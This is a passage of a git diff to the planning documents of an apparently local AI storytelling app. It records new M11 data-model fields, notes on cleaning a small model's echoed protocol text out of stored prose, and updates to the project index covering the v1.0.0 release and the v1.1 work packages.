 never becomes canon (`MEDIA-EXTENSION-CONTRACT.md` §35, §37).
 
+## 28B. What M11 Added (as implemented)
+
+Two columns, and one field on a response. Each exists because something that was
+happening silently had to become visible.
+
+```text
+adventures.narration_length   "" | "brief" | "medium" | "long"
+```
+
+The campaign's own narration-length choice (migration 93). Until M11 the choice became one English sentence inside
+`ai_instructions` and moved no number: the numeric hint the model actually reads
+was derived from the global reply cap and said the same thing for all three
+settings. Stored as its own field because the prompt builder has to derive a
+word range from it (`context.builder.LENGTH_BANDS`), and reading a length back
+out of free text would be a parser nobody wants. Empty is not a missing value —
+it is a campaign that never chose, which is exactly what every campaign created
+before M11 did, so the migration needs no backfill and no existing prompt
+changes under it.
+
+```text
+settings.context_window_override   INTEGER | NULL   (migration 94, post-M11)
+```
+
+The window an operator says the inference server enforces, for a server the
+window probe cannot ask, meaning anything that does not speak Ollama's native
+API. It is nullable and null by default, because a default number would be the
+application guessing at a window, which is the one thing `contextwindow` refuses
+to do. It never overrides a window the server reported. It was added in `ef25b0a`
+and not recorded here until 2026-09-14; `TECHNICAL-DESIGN.md` §15.2 has the rule.
+
+**No new table.** The context-window ceiling M11 enforces is *not* stored: it is
+asked of the server, cached in the process, and recorded in the turn's context
+snapshot as provenance. A stored ceiling would be a second copy of a fact the
+server owns, going stale the moment an operator reloads a model — the same
+argument M10 made against a scenes table.
+
+**`duplicate_names` is derived, not stored** (`narrative.model.duplicate_names`).
+Two entities sharing a display name is permitted — a mother and a daughter, a
+stranger giving a false name — and until M11 it was also *invisible*, which is
+one of post-M8 finding D's candidate failure modes. It is computed from the
+entities on read and reported beside the state.
+
+**`refused` is per-response, not persisted.** A manual correction that is partly
+refused now returns which of its changes did not apply and why. The refusals
+were already recorded on the proposal row for §8's audit trail; what was missing
+was telling the person who wrote them, who until M11 got an unqualified success.
+
 ## 29. Export Package
 
 A campaign export should be capable of preserving:

planning/DECISIONS/013-authoritative-narrative-state-document.md

@@ -62,6 +62,25 @@ Each stage has one job, and the order is deliberate: the allowlist is checked
 before any field is read, so an unknown event type is rejected before its
 contents are touched.
 
+**Implementation note (post-M11).** "The protocol block is separated from the
+prose" covers more than one fenced block. A small local model also pastes the
+rendered state into its prose, writes its proposal unfenced or quoted, and runs
+out of tokens partway through it. All of that is removed before the prose is
+stored, because stored prose is replayed as history. `TECHNICAL-DESIGN.md` §15.4
+has the rules.
+
+**Implementation note (v1.1 WP-A2).** A small model also copies the protocol's
+*instructions*: the vocabulary written as calls, the length hint, and the scene
+line. The fix is on both sides:
+
+- **Prompt:** the vocabulary is shown in the wire format, and the fixed example
+  uses genre-neutral placeholders.
+- **Extractor:** it recognises those echoes only by strings and names the
+  application owns.
+
+No event type, field, validation rule or proposal record changed.
+`TECHNICAL-DESIGN.md` §15.4 lists the four rules.
+
 ### Where it lives
 
 - `adventures.narrative_state` — the current authoritative document. This is

planning/PROJECT-SOURCES.md

@@ -82,16 +82,17 @@ in `planning/archive/decisions/`.
 One file, and it changes as development progresses:
 
 ```text
-planning/reports/M8-IMPLEMENTATION-REPORT.md
+planning/reports/M11-IMPLEMENTATION-REPORT.md
 ```
 
-M8 is the most recently completed milestone, and M9 is the next to be briefed.
-This report is M8's implementation account *and* its closeout record: its §P
-classifies the browser evidence by build, its §S holds every finding, and its §V
-records the acceptance.
+M11 is the most recently completed milestone, and there is no next one to brief:
+what follows is independent review and the v1 acceptance decision. This report is
+the release-validation evidence package — its §F is the acceptance matrix, its §G
+the 100-turn campaign, its §O every defect found, and its §R the release-readiness
+answers. It is **not** an acceptance record.
 
-**Replace it, do not accumulate.** When M9's report lands, remove this one from
-the project Sources and upload M9's instead. The repository does the same thing:
+**Replace it, do not accumulate.** When a later report lands, remove this one
+from the project Sources and upload that one instead. The repository does the same thing:
 `planning/reports/` holds the current milestone's report and
 `planning/archive/milestone-reports/` holds the rest.
 

planning/README.md

@@ -2,9 +2,21 @@
 
 **This file is the index. Start here.**
 
-**Current state:** Phase 0 complete; AI-DnD forked as the production base;
-milestones **M1 through M8 implemented and accepted**, and **M9 and M10
-implemented and awaiting review**. M1-M6 were accepted on the dates below (M3 and M4: 2026-09-03;
+**Current state:** **v1.0.0 released on 2026-09-14. v1.1 is in progress:
+WP-A1/A2 (`d63804f`), WP-B.1 (`beb17ad`), WP-B.2 (`0c1ba83`) and WP-C
+(`59b5ebc`) are committed, and the last two planned packages — WP-D (recovery
+honesty) and WP-E (control-boundary contrast) — are complete and staged for
+owner review** (`reports/v1.1/V1.1-WP-D-REPORT.md`,
+`reports/v1.1/V1.1-WP-E-REPORT.md`). The final browser run passed 101 checks
+across all three suites with 0 failed and 0 skipped. Every planned v1.1 work
+package is now implemented and reported; release validation has not begun.
+Phase 0 complete; AI-DnD forked as the production base; **milestones M1
+through M11 complete and closed**. M11 was accepted at its closeout
+(2026-09-14), the v1 release gate passed on the release-candidate tree, and the
+owner then signed the closeout commit (`432f041`), fast-forwarded `main` to it,
+and created and pushed the signed tag `v1.0.0` pointing at it. v1.1 development
+is on the `v1.1-development` branch, from that commit, and is planned in
+`V1.1-PLAN.md` as work packages, not milestones. M1-M6 were accepted on the dates below (M3 and M4: 2026-09-03;
 M5: 2026-09-04; M6: 2026-09-06). M5 and M6 were each accepted only after an
 independent review found a real defect and a corrective pass fixed it.
 
@@ -15,28 +27,47 @@ report keeps all three in sequence, and is now in
 
 **M8 — Browser UX Completion for v1 Story Operations — is complete and
 accepted** (2026-09-06), after an independent review and a closeout pass.
-`reports/M8-IMPLEMENTATION-REPORT.md` is the implementer's account and now
-carries the closeout: the build-evidence classification in its §P, finding 14's
-operational resolution, and the acceptance record in its §V. The M8 tree is
-staged and awaits the repository owner's signed commit.
+`archive/milestone-reports/M8-IMPLEMENTATION-REPORT.md` is the implementer's
+account and carries the closeout: the build-evidence classification in its §P,
+finding 14's operational resolution, and the acceptance record in its §V. It is
+committed and signed (`1ce9972`).
 
-**M9 — Export, Backup, Recovery, and Migration Hardening — is implemented and
-awaiting independent review** (2026-09-07).
-`reports/M9-IMPLEMENTATION-REPORT.md` is the implementer's account, written for
-a reviewer: a set of claims with the measurements attached, not yet a record of
-acceptance. M8's report has moved to `archive/milestone-reports/`, which is
-where a milestone report goes once the next milestone's report replaces it.
+**M9 — Export, Backup, Recovery, and Migration Hardening — is committed and
+signed** (`44edece`). It made a campaign portable in the way that matters: the
+bundle became `ai-dnd-adventure-v3`, prompt provenance and state events travel,
+and a verified SQLite backup exists. Its report is in
+`archive/milestone-reports/`, along with M8's and M10's.
 
-**M10 — Future Media Extension Hooks Only — is implemented and awaiting
-independent review** (2026-09-07). `reports/M10-IMPLEMENTATION-REPORT.md` is the
-implementer's account. It built the seam and no media: one `visual_profiles`
-table, a scene packet derived on read, provider contracts with an empty
-registry, and no dependency added. Its central finding is that the scene
-snapshot the media contract asks for **already existed**, built by M5.
+**M10 — Future Media Extension Hooks Only — is committed and signed**
+(`1013c94`). It built the seam and no media: one `visual_profiles` table, a
+scene packet derived on read, provider contracts with an empty registry, and no
+dependency added. Its central finding was that the scene snapshot the media
+contract asks for **already existed**, built by M5.
 
-**Next: M11 — v1 Security, Long-Run, and Release Validation.** It has not been
-started, and no brief for it exists. It also owns the four post-M8 hands-on
-playtest findings recorded in `BUILD-MILESTONES.md`.
+**M11 — v1 Security, Long-Run, and Release Validation — is complete and
+accepted** (implemented 2026-09-07; accepted at closeout 2026-09-14).
+`reports/M11-IMPLEMENTATION-REPORT.md` is the evidence package. M11:
+- closed the context-window release blocker M8 found;
+- fixed the defects the validation itself surfaced;
+- disposed of all four post-M8 playtest findings;
+- passed M01-M04 on a complete 100-turn run (2026-09-13, commit `96c1bf5`).
+
+The closeout repeated the browser, offline and identity runs on the exact
+release-candidate tree (`3652dc6`), and recorded the acceptance (report §S and
+§T). **The v1 release gate passed.**
+
+**The release, 2026-09-14.** The three events the closeout left to the owner
+have all happened:
+- the closeout commit is signed, as `432f041`;
+- `main` was fast-forwarded to `432f041`;
+- the signed tag `v1.0.0` points at `432f041`, and is pushed.
+
+The M11 report's §T still lists the last two as not done. That table records the
+state at closeout and is deliberately left as written.
+
+**There is no M12.** Post-v1 work is organised as **v1.1 work packages** in
+`V1.1-PLAN.md`, which triages the *Post-v1 backlog* recorded in
+`BUILD-MILESTONES.md`.
 
 **Package version:** see `VERSION.md`, which records what each revision changed
 and why.
@@ -98,7 +129,7 @@ Two standing qualifications:
 | Document | What it is for |
 | --- | --- |
 | `SPECIFICATION.md` | What the product must do. The top of the authority order. |
-| `TECHNICAL-DESIGN.md` | The selected architecture, including what M1-M10 built, recorded as fact. |
+| `TECHNICAL-DESIGN.md` | The selected architecture, including what M1-M11 built, recorded as fact. |
 | `DATA-MODEL.md` | Entities, the stored head, branch disposition, and the v3 export contract. |
 | `STORY-BRANCH-SEMANTICS.md` | Undo/Redo/Retry/branch/take behavior, including the M3 ratifications. |
 | `CONTEXT-AND-MEMORY.md` | Prompt assembly, summarization, branch-safe memory. |
@@ -106,7 +137,8 @@ Two standing qualifications:
 | `SECURITY-THREAT-MODEL.md` | The trust boundary, and the inference endpoint policy as implemented. |
 | `MEDIA-EXTENSION-CONTRACT.md` | The contract future image/video/audio/TTS/STT work must fit. |
 | `BROWSER-UX-SPEC.md` | The browser surface, and what is deliberately not in it. |
-| `BUILD-MILESTONES.md` | M1-M11, what each delivers, what is done, and the notes each milestone leaves its successors. |
+| `BUILD-MILESTONES.md` | M1-M11, what each delivers, what is done, and the notes each milestone leaves its successors. Closed history; not extended. |
+| `V1.1-PLAN.md` | **Post-v1 work.** The triaged backlog, the ordered v1.1 work packages with acceptance criteria, the v1.1 release criteria, and what is deferred. |
 | `V1-ACCEPTANCE-TESTS.md` | The pass/fail contract v1 is measured against. |
 | `TEST-CAMPAIGN-FIXTURE.md` | The standard campaign the acceptance tests are run on. |
 | `VERSION.md` | Package revision history: what each closeout changed. |
@@ -117,7 +149,8 @@ Two standing qualifications:
 1. This file.
 2. `SPECIFICATION.md`
 3. `TECHNICAL-DESIGN.md`
-4. `BUILD-MILESTONES.md` — find the milestone you are being asked to do.
+4. `V1.1-PLAN.md` — find the work package you are being asked to do.
+   `BUILD-MILESTONES.md` is the v1 history behind it.
 5. `STORY-BRANCH-SEMANTICS.md`
 6. `DATA-MODEL.md`
 7. `CONTEXT-AND-MEMORY.md`
@@ -126,10 +159,10 @@ Two standing qualifications:
 10. `BROWSER-UX-SPEC.md`
 11. `V1-ACCEPTANCE-TESTS.md`
 12. `DECISIONS/` — all of them; they are short.
-13. `reports/M10-IMPLEMENTATION-REPORT.md` and
-    `reports/M9-IMPLEMENTATION-REPORT.md`, for what the most recent milestones
-    actually left behind — read as claims to check, not records, until they are
-    reviewed. Nothing in `planning/archive/` unless sent there.
+13. `reports/M11-IMPLEMENTATION-REPORT.md`, for what the release validation
+    actually found. §S is the closeout's verification on the release candidate,
+    and §T is the acceptance record. Nothing in `planning/archive/` unless sent
+    there.
 
 ## Architectural decisions
 
@@ -160,19 +193,24 @@ work until Phase 0 closes — which Phase 0 satisfied on 2026-09-01. It is in
 `reports/` holds the report for the milestone most recently completed, because
 that is the one the next milestone's planning has to consult:
 
-- `reports/M10-IMPLEMENTATION-REPORT.md` — the M10 implementation: the media
-  seam, everything it deliberately did not build, and the evidence for K01-K04.
-  Written by the implementer for an independent reviewer, so it is a set of
-  claims with the measurements attached and **not** a record of acceptance.
-- `reports/M9-IMPLEMENTATION-REPORT.md` — the M9 implementation: the measured M8
-  portability baseline it started from, the final bundle contract, and the
-  evidence for every acceptance test it claims. Its §W carries the M10-M11
-  handoff and its §Y holds the post-M8 playtest findings.
+- `reports/M11-IMPLEMENTATION-REPORT.md` — the release validation: the
+  acceptance matrix run end to end, the 100-turn campaign, the offline and
+  browser evidence, and every defect the run found. §A-§R are the implementer's
+  claims with the measurements attached. §S is the closeout's re-verification on
+  the release candidate, and §T is the acceptance record.
 
-  **It stays here rather than moving to the archive**, against the usual
-  rotation, because M9 has not been accepted yet: a reviewer of either milestone
-  needs it, since M10 built on M9 and its baseline is M9's. It moves once M9 is
-  accepted.
+It stays in `reports/` after acceptance. The rotation moves a report to the
+archive when the next milestone's report is written, and after M11 there is no
+next milestone. Nothing here calls for moving it, so no new convention was
+invented to do so. `V1.1-PLAN.md` asks each v1.1 work package for a report of
+its own; when the first is written, it joins this one in `reports/` and the
+rotation is decided then.
+
+M9's and M10's reports both moved to `archive/milestone-reports/` when this one
+was written. M9's had been kept here past its turn because M9 was unaccepted;
+both are now committed and signed, so the ordinary rotation applies again. M9's
+§Y — the post-M8 playtest findings — has a durable copy in `BUILD-MILESTONES.md`
+and did not depend on that file staying put.
 
 Completed earlier milestones are in `archive/milestone-reports/`, which M8's
 report joined when M9's was written: a milestone report is useful during the
@@ -298,34 +336,50 @@ Milestone M7                        COMPLETE (2026-09-06)
         |
         v
 Milestone M8                        COMPLETE / ACCEPTED (2026-09-06)
-  browser UX completion for v1      reports/M8-IMPLEMENTATION-REPORT.md
+  browser UX completion for v1      archive/milestone-reports/
   story operations                  review + closeout, in sequence
         |
         v
-Milestone M9                        COMPLETE — awaiting review (2026-09-07)
-  export, backup, recovery,         reports/M9-IMPLEMENTATION-REPORT.md
+Milestone M9                        COMPLETE — committed and signed (44edece)
+  export, backup, recovery,         archive/milestone-reports/
   migration hardening               bundle format v3; SQLite online backup
         |
         v
-Milestone M10                       COMPLETE — awaiting review (2026-09-07)
-  future media extension hooks      reports/M10-IMPLEMENTATION-REPORT.md
+Milestone M10                       COMPLETE — committed and signed (1013c94)
+  future media extension hooks      archive/milestone-reports/
                                     scene packet derived, not stored; no media
         |
         v
-Milestone M11                       NEXT — not started
-  v1 security, long-run, release    see BUILD-MILESTONES.md
-  validation                        also owns the post-M8 playtest findings
+Milestone M11                       COMPLETE / ACCEPTED (2026-09-14)
+  v1 security, long-run, release    reports/M11-IMPLEMENTATION-REPORT.md
+  validation                        M01-M04 on 96c1bf5; closeout on 3652dc6
+        |
+        v
+v1 release gate                     PASSED (2026-09-14)
+        |
+        v
+v1.0.0                              RELEASED (2026-09-14)
+                                    signed tag on signed commit 432f041;
+                                    main points at the same commit
+        |
+        v
+v1.1                                PLANNING (from 2026-09-14)
+                                    branch v1.1-development; V1.1-PLAN.md
+                                    work packages, not milestones
 ```
 
 ## Stop Rule
 
-**One milestone at a time. Do not begin a milestone before its brief exists.**
+**One work package at a time. Do not begin a work package before its brief
+exists.**
 
-**No M11 brief has been prepared**, and neither M9 nor M10 is accepted — both
-are implemented and awaiting independent review. Writing the M11 brief is the
-action after those reviews close, informed by the M9 report's §W, the M10
-report's handoff, and the four post-M8 playtest findings in
-`BUILD-MILESTONES.md`.
+**Every v1 milestone is complete, M11 is accepted, and v1.0.0 is released**
+(2026-09-14, tag `v1.0.0` on `432f041`).
+
+**Do not begin post-v1 work as though it were a v1 milestone, and do not create
+M12.** v1.1 work is the ordered work packages in `V1.1-PLAN.md`. Each starts
+only from a coding brief of its own, and stops at its own boundary for review.
+The plan names the brief to write first.
 
 All three questions the M8 debt raised against M9 are settled and recorded:
 the bundle carries historical context snapshots (`DATA-MODEL.md` §29); story